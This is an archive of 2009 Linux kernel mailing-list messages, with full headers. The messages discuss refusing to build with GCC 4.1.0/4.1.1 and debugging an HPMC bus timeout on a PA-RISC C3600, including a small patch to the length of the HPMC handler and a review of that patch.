> but I think IDE support is broken (machine has a cd drive).

That's posible. Can you look for HPMC PIM dump?
If so, I can take a look at it.

thanks,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Willy Tarreau <w@1wt.eu>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] kbuild: Disallow GCC 4.1.0 / 4.1.1
Date: Fri, 2 Jan 2009 20:54:17 +0100
Lines: 23
Approved: news@gmane.org
Message-ID: <20090102195417.GB5038@1wt.eu>
References: <20081231105425.9ccac21d.akpm@linux-foundation.org> <alpine.LFD.2.00.0812311318420.5086@localhost.localdomain> <20081231.141408.60544902.davem@davemloft.net> <20090102115547.GB3027@elte.hu> <alpine.LFD.2.00.0901020844070.5086@localhost.localdomain> <alpine.LFD.2.00.0901020933370.5086@localhost.localdomain> <20090102174641.GA27287@elte.hu> <alpine.LFD.2.00.0901020953280.5086@localhost.localdomain> <20090102180110.GA7425@elte.hu> <alpine.LFD.2.00.0901021004440.5086@localhost.localdomain>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1230926150 30119 80.91.229.12 (2 Jan 2009 19:55:50 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 2 Jan 2009 19:55:50 +0000 (UTC)
Cc: Ingo Molnar <mingo@elte.hu>, David Miller <davem@davemloft.net>,
	akpm@linux-foundation.org, rdreier@cisco.com,
	ian.campbell@citrix.com, jeremy.fitzhardinge@citrix.com,
	deller@gmx.de, rusty@rustcorp.com.au, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, kyle@mcmartin.ca, randolph@tausq.org,
	sam@ravnborg.org, dave@hiauly1.hia.nrc.ca
To: Linus Torvalds <torvalds@linux-foundation.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 02 20:56:56 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LIq8P-0004D2-Qq
	for glpp-linux-parisc@gmane.org; Fri, 02 Jan 2009 20:56:42 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751179AbZABTzV (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 2 Jan 2009 14:55:21 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758164AbZABTzU
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 2 Jan 2009 14:55:20 -0500
Original-Received: from 1wt.eu ([62.212.114.60]:1062 "EHLO 1wt.eu"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751692AbZABTzT (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 2 Jan 2009 14:55:19 -0500
Content-Disposition: inline
In-Reply-To: <alpine.LFD.2.00.0901021004440.5086@localhost.localdomain>
User-Agent: Mutt/1.5.11
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1115 gmane.linux.kernel:774567
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1115>

On Fri, Jan 02, 2009 at 10:05:47AM -0800, Linus Torvalds wrote:
> 
> 
> On Fri, 2 Jan 2009, Ingo Molnar wrote:
> > 
> > So what i tried to point out that your patch causes a regression here - 
> > we dont filter out gcc 3.0/3.1 out anymore.
> 
> What I tried to tell you was that we don't care - nobody can have it 
> anyway. If somebody tried to compile the kernel with it, we've already 
> refused for the last 2+ years. So there are no old users out there. And 
> there certainly aren't any new ones.

Yes some people (including me) still have them and are happy that there
is a check to prevent accidental builds with an inappropriate compiler.

Willy

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Linus Torvalds <torvalds@linux-foundation.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: Re: [PATCH] kbuild: Disallow GCC 4.1.0 / 4.1.1
Date: Fri, 2 Jan 2009 12:18:02 -0800 (PST)
Lines: 16
Approved: news@gmane.org
Message-ID: <alpine.LFD.2.00.0901021217390.3179@localhost.localdomain>
References: <20081231105425.9ccac21d.akpm@linux-foundation.org> <alpine.LFD.2.00.0812311318420.5086@localhost.localdomain> <20081231.141408.60544902.davem@davemloft.net> <20090102115547.GB3027@elte.hu> <alpine.LFD.2.00.0901020844070.5086@localhost.localdomain>
 <alpine.LFD.2.00.0901020933370.5086@localhost.localdomain> <20090102174641.GA27287@elte.hu> <alpine.LFD.2.00.0901020953280.5086@localhost.localdomain> <20090102180110.GA7425@elte.hu> <alpine.LFD.2.00.0901021004440.5086@localhost.localdomain>
 <20090102195417.GB5038@1wt.eu>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1230927599 3881 80.91.229.12 (2 Jan 2009 20:19:59 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 2 Jan 2009 20:19:59 +0000 (UTC)
Cc: Ingo Molnar <mingo@elte.hu>, David Miller <davem@davemloft.net>,
	akpm@linux-foundation.org, rdreier@cisco.com,
	ian.campbell@citrix.com, jeremy.fitzhardinge@citrix.com,
	deller@gmx.de, rusty@rustcorp.com.au, linux-parisc@vger.kernel.org,
	linux-kernel@vger.kernel.org, kyle@mcmartin.ca, randolph@tausq.org,
	sam@ravnborg.org, dave@hiauly1.hia.nrc.ca
To: Willy Tarreau <w@1wt.eu>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 02 21:21:05 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LIqVY-00057E-3r
	for glpp-linux-parisc@gmane.org; Fri, 02 Jan 2009 21:20:36 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758299AbZABUTU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 2 Jan 2009 15:19:20 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757912AbZABUTU
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 2 Jan 2009 15:19:20 -0500
Original-Received: from smtp1.linux-foundation.org ([140.211.169.13]:41141 "EHLO
	smtp1.linux-foundation.org" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1755325AbZABUTT (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 2 Jan 2009 15:19:19 -0500
Original-Received: from imap1.linux-foundation.org (imap1.linux-foundation.org [140.211.169.55])
	by smtp1.linux-foundation.org (8.14.2/8.13.5/Debian-3ubuntu1.1) with ESMTP id n02KI5g7032030
	(version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO);
	Fri, 2 Jan 2009 12:18:06 -0800
Original-Received: from localhost (localhost [127.0.0.1])
	by imap1.linux-foundation.org (8.13.5.20060308/8.13.5/Debian-3ubuntu1.1) with ESMTP id n02KI2qM011163;
	Fri, 2 Jan 2009 12:18:02 -0800
X-X-Sender: torvalds@localhost.localdomain
In-Reply-To: <20090102195417.GB5038@1wt.eu>
User-Agent: Alpine 2.00 (LFD 1167 2008-08-23)
X-Spam-Status: No, hits=-5.43 required=5 tests=AWL,BAYES_00,OSDL_HEADER_SUBJECT_BRACKETED,PATCH_SUBJECT_OSDL
X-Spam-Checker-Version: SpamAssassin 3.2.4-osdl_revision__1.47__
X-MIMEDefang-Filter: lf$Revision: 1.188 $
X-Scanned-By: MIMEDefang 2.63 on 140.211.169.13
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1116 gmane.linux.kernel:774576
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1116>



On Fri, 2 Jan 2009, Willy Tarreau wrote:
> 
> Yes some people (including me) still have them and are happy that there
> is a check to prevent accidental builds with an inappropriate compiler.

Heh, ok. If people really do actively have that version, let's add the 
check back in.

		Linus
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Guy Martin <gmsoft@tuxicoman.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPMC bus timeout on C3600
Date: Fri, 2 Jan 2009 21:46:44 +0100
Lines: 63
Approved: news@gmane.org
Message-ID: <20090102214644.1d3a7364@tuxicoman.be>
References: <20081220133915.4c167e09@bleh.bxl.tuxicoman.be>
	<20081220221653.GA12880@bombadil.infradead.org>
	<20081220222100.GB12880@bombadil.infradead.org>
	<20081221081206.GC2047@colo.lackof.org>
	<20081222224023.2488f2ef@tuxicoman.be>
	<20081222214743.GC30144@bombadil.infradead.org>
	<20081222234948.776edb1b@tuxicoman.be>
	<20081225080606.GA11032@colo.lackof.org>
	<20081225165750.29c5974c@bleh.bxl.tuxicoman.be>
	<20081225213625.GA7716@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed; boundary="MP_/_ZGcnk9n_+Q5QwB2+U99uvP"
X-Trace: ger.gmane.org 1230929342 10661 80.91.229.12 (2 Jan 2009 20:49:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 2 Jan 2009 20:49:02 +0000 (UTC)
Cc: Kyle McMartin <kyle@infradead.org>, linux-parisc@vger.kernel.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 02 21:50:10 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LIqxq-0000ce-KG
	for glpp-linux-parisc@gmane.org; Fri, 02 Jan 2009 21:49:51 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758630AbZABUrt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 2 Jan 2009 15:47:49 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1759592AbZABUrt
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 2 Jan 2009 15:47:49 -0500
Original-Received: from cable-85.28.90.237.coditel.net ([85.28.90.237]:59561 "EHLO
	ibiza.bxl.tuxicoman.be" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1758362AbZABUrr (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 2 Jan 2009 15:47:47 -0500
Original-Received: from wifi007.bxl.tuxicoman.be ([172.20.1.7] helo=localhost)
	by ibiza.bxl.tuxicoman.be with esmtp (Exim 4.69)
	(envelope-from <gmsoft@tuxicoman.be>)
	id 1LIqvW-00025l-8b; Fri, 02 Jan 2009 21:47:29 +0100
In-Reply-To: <20081225213625.GA7716@colo.lackof.org>
X-Mailer: Claws Mail 3.5.0 (GTK+ 2.12.11; i686-pc-linux-gnu)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1117
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1117>

--MP_/_ZGcnk9n_+Q5QwB2+U99uvP
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

On Thu, 25 Dec 2008 14:36:25 -0700
Grant Grundler <grundler@parisc-linux.org> wrote:

> > Anything else I can do/provide to troubleshoot this ?
> 
> Two things:
> o consider posting some of the original findings on linux-ide and see
> if anyone has tested this controller on PPC or IA64.  I'm looking for
> any other architecture that has "hard fail" behavior like parisc does.
>   Testing on any other Big Endian HW would be worth hearing about too.
> 
> o write a quick and dirty "hpmc_symbols" script as described above
> and run it on the HPMC you provided earlier.
> 
> Debugging this further wil probably require modifying the sata_sil
> driver to log (e.g. ktrace) it's activities while under test.

Will do, just haven't had time yet.

I quickly looked into why the OS HPMC handler wasn't triggered and the
issue comes from the fact that the length provided to the PDC is
incorrect. The doc states that it should be in bytes while we provide it
in words.

I've attached a small patch that solves this little issue.

Cheers,
  Guy



--MP_/_ZGcnk9n_+Q5QwB2+U99uvP
Content-Type: text/x-patch; name=fix-hpmc-handler-length.diff
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename=fix-hpmc-handler-length.diff

OS HPMC handler length needs to be in bytes, not in words.

Signed-off-by: Guy Martin <gmsoft@tuxicoman.be>

--- /root/traps.c.orig	2009-01-02 09:20:41.000000000 +0100
+++ arch/parisc/kernel/traps.c	2009-01-02 09:23:47.000000000 +0100
@@ -840,7 +840,7 @@
 
 	/* Compute Checksum for HPMC handler */
 
-	length = os_hpmc_end - os_hpmc;
+	length = (os_hpmc_end - os_hpmc) * sizeof(u32);
 	ivap[7] = length;
 
 	hpmcp = (u32 *)os_hpmc;

--MP_/_ZGcnk9n_+Q5QwB2+U99uvP--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPMC bus timeout on C3600
Date: Fri, 2 Jan 2009 16:01:15 -0500
Lines: 19
Approved: news@gmane.org
Message-ID: <20090102210115.GB17486@bombadil.infradead.org>
References: <20081220221653.GA12880@bombadil.infradead.org> <20081220222100.GB12880@bombadil.infradead.org> <20081221081206.GC2047@colo.lackof.org> <20081222224023.2488f2ef@tuxicoman.be> <20081222214743.GC30144@bombadil.infradead.org> <20081222234948.776edb1b@tuxicoman.be> <20081225080606.GA11032@colo.lackof.org> <20081225165750.29c5974c@bleh.bxl.tuxicoman.be> <20081225213625.GA7716@colo.lackof.org> <20090102214644.1d3a7364@tuxicoman.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1230930154 13957 80.91.229.12 (2 Jan 2009 21:02:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 2 Jan 2009 21:02:34 +0000 (UTC)
Cc: Grant Grundler <grundler@parisc-linux.org>,
	Kyle McMartin <kyle@infradead.org>,
	linux-parisc@vger.kernel.org
To: Guy Martin <gmsoft@tuxicoman.be>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 02 22:03:42 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LIrAF-0005dL-GU
	for glpp-linux-parisc@gmane.org; Fri, 02 Jan 2009 22:02:39 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1759068AbZABVBW (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 2 Jan 2009 16:01:22 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1759072AbZABVBW
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 2 Jan 2009 16:01:22 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:33113 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1759046AbZABVBW (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 2 Jan 2009 16:01:22 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.68 #1 (Red Hat Linux))
	id 1LIr8t-0002cA-CO; Fri, 02 Jan 2009 21:01:15 +0000
Content-Disposition: inline
In-Reply-To: <20090102214644.1d3a7364@tuxicoman.be>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1118
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1118>

On Fri, Jan 02, 2009 at 09:46:44PM +0100, Guy Martin wrote:
> OS HPMC handler length needs to be in bytes, not in words.
> Signed-off-by: Guy Martin <gmsoft@tuxicoman.be>
> 
> -	length = os_hpmc_end - os_hpmc;
> +	length = (os_hpmc_end - os_hpmc) * sizeof(u32);
>  	ivap[7] = length;

Ick. I wonder if I screwed that up when I fixed the function descriptor
breakage...

Will apply this fix, thanks Guy.

cheers, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPMC bus timeout on C3600
Date: Fri, 2 Jan 2009 16:14:12 -0500 (EST)
Lines: 23
Approved: news@gmane.org
Message-ID: <20090102211413.72A044EF0@hiauly1.hia.nrc.ca>
References: <20090102210115.GB17486@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1230930872 17081 80.91.229.12 (2 Jan 2009 21:14:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 2 Jan 2009 21:14:32 +0000 (UTC)
Cc: gmsoft@tuxicoman.be, grundler@parisc-linux.org, kyle@infradead.org,
	linux-parisc@vger.kernel.org
To: kyle@infradead.org (Kyle McMartin)
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 02 22:15:40 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LIrMj-0002cP-CP
	for glpp-linux-parisc@gmane.org; Fri, 02 Jan 2009 22:15:33 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757912AbZABVOQ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 2 Jan 2009 16:14:16 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758087AbZABVOQ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 2 Jan 2009 16:14:16 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1591 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757912AbZABVOQ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 2 Jan 2009 16:14:16 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 72A044EF0; Fri,  2 Jan 2009 16:14:13 -0500 (EST)
In-Reply-To: <20090102210115.GB17486@bombadil.infradead.org> from "Kyle McMartin" at Jan 2, 2009 04:01:15 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1119
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1119>

> On Fri, Jan 02, 2009 at 09:46:44PM +0100, Guy Martin wrote:
> > OS HPMC handler length needs to be in bytes, not in words.
> > Signed-off-by: Guy Martin <gmsoft@tuxicoman.be>
> > 
> > -	length = os_hpmc_end - os_hpmc;
> > +	length = (os_hpmc_end - os_hpmc) * sizeof(u32);
> >  	ivap[7] = length;
> 
> Ick. I wonder if I screwed that up when I fixed the function descriptor
> breakage...

The fix doesn't seem right.  Probably, os_hpmc and os_hpmc_end are
pointing to function descriptors.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@infradead.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPMC bus timeout on C3600
Date: Fri, 2 Jan 2009 16:18:44 -0500
Lines: 40
Approved: news@gmane.org
Message-ID: <20090102211844.GC17486@bombadil.infradead.org>
References: <20090102210115.GB17486@bombadil.infradead.org> <20090102211413.72A044EF0@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1230931142 17916 80.91.229.12 (2 Jan 2009 21:19:02 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 2 Jan 2009 21:19:02 +0000 (UTC)
Cc: Kyle McMartin <kyle@infradead.org>, gmsoft@tuxicoman.be,
	grundler@parisc-linux.org, linux-parisc@vger.kernel.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 02 22:20:10 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LIrRB-00046o-Fg
	for glpp-linux-parisc@gmane.org; Fri, 02 Jan 2009 22:20:09 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1757832AbZABVSw (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 2 Jan 2009 16:18:52 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1757629AbZABVSw
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 2 Jan 2009 16:18:52 -0500
Original-Received: from bombadil.infradead.org ([18.85.46.34]:49800 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1757406AbZABVSw (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 2 Jan 2009 16:18:52 -0500
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.68 #1 (Red Hat Linux))
	id 1LIrPo-0004Ws-RB; Fri, 02 Jan 2009 21:18:44 +0000
Content-Disposition: inline
In-Reply-To: <20090102211413.72A044EF0@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.18 (2008-05-17)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1120
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1120>

On Fri, Jan 02, 2009 at 04:14:12PM -0500, John David Anglin wrote:
> > On Fri, Jan 02, 2009 at 09:46:44PM +0100, Guy Martin wrote:
> > > OS HPMC handler length needs to be in bytes, not in words.
> > > Signed-off-by: Guy Martin <gmsoft@tuxicoman.be>
> > > 
> > > -	length = os_hpmc_end - os_hpmc;
> > > +	length = (os_hpmc_end - os_hpmc) * sizeof(u32);
> > >  	ivap[7] = length;
> > 
> > Ick. I wonder if I screwed that up when I fixed the function descriptor
> > breakage...
> 
> The fix doesn't seem right.  Probably, os_hpmc and os_hpmc_end are
> pointing to function descriptors.
> 

I think we've been over this before ;-)

commit c3d4ed4e3e5aa8d9e6b4b795f004a7028ce780e9
Author: Kyle McMartin <kyle@parisc-linux.org>
Date:   Mon Jun 4 02:26:52 2007 -0400

    [PARISC] Fix kernel panic in check_ivt
    
    check_ivt had some seriously broken code wrt function pointers on
    parisc64. Instead of referencing the hpmc code via a function
pointer,
    export symbols and reference it as a const array.
    
    Thanks to jda for pointing out the broken 64-bit func ptr handling.
    
    Signed-off-by: Kyle McMartin <kyle@parisc-linux.org>


cheers, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:03:23 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: HPMC bus timeout on C3600
Date: Fri, 2 Jan 2009 16:36:05 -0500 (EST)
Lines: 36
Approved: news@gmane.org
Message-ID: <20090102213606.70E194EF0@hiauly1.hia.nrc.ca>
References: <20090102211844.GC17486@bombadil.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1230932184 20981 80.91.229.12 (2 Jan 2009 21:36:24 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 2 Jan 2009 21:36:24 +0000 (UTC)
Cc: kyle@infradead.org, gmsoft@tuxicoman.be, grundler@parisc-linux.org,
	linux-parisc@vger.kernel.org
To: kyle@infradead.org (Kyle McMartin)
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Jan 02 22:37:32 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1LIrhx-0001Ad-15
	for glpp-linux-parisc@gmane.org; Fri, 02 Jan 2009 22:37:29 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1758732AbZABVgK (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 2 Jan 2009 16:36:10 -0500
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1758735AbZABVgK
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 2 Jan 2009 16:36:10 -0500
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:1729 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1758732AbZABVgJ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Fri, 2 Jan 2009 16:36:09 -0500
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 70E194EF0; Fri,  2 Jan 2009 16:36:06 -0500 (EST)
In-Reply-To: <20090102211844.GC17486@bombadil.infradead.org> from "Kyle McMartin" at Jan 2, 2009 04:18:44 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:1121
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/1121>

> On Fri, Jan 02, 2009 at 04:14:12PM -0500, John David Anglin wrote:
> > > On Fri, Jan 02, 2009 at 09:46:44PM +0100, Guy Martin wrote:
> > > > OS HPMC handler length needs to be in bytes, not in words.
> > > > Signed-off-by: Guy Martin <gmsoft@tuxicoman.be>
> > > > 
> > > > -	length = os_hpmc_end - os_hpmc;
> > > > +	length = (os_hpmc_end - os_hpmc) * sizeof(u32);
> > > >  	ivap[7] = length;
> > > 
> > > Ick. I wonder if I screwed that up when I fixed the function descriptor
> > > breakage...
> > 
> > The fix doesn't seem right.  Probably, os_hpmc and os_hpmc_end are
> > pointing to function descriptors.
> > 
> 
> I think we've been over this before ;-)

Looking at traps.o for a 64-bit build, I see the references are:

0000000000000048 R_PARISC_DLTIND21L  os_hpmc_end
0000000000000050 R_PARISC_DLTIND14R  os_hpmc_end
0000000000000058 R_PARISC_DLTIND21L  os_hpmc
000000000000005c R_PARISC_DLTIND14R  os_hpmc

Wonder what the DLT is pointing to.

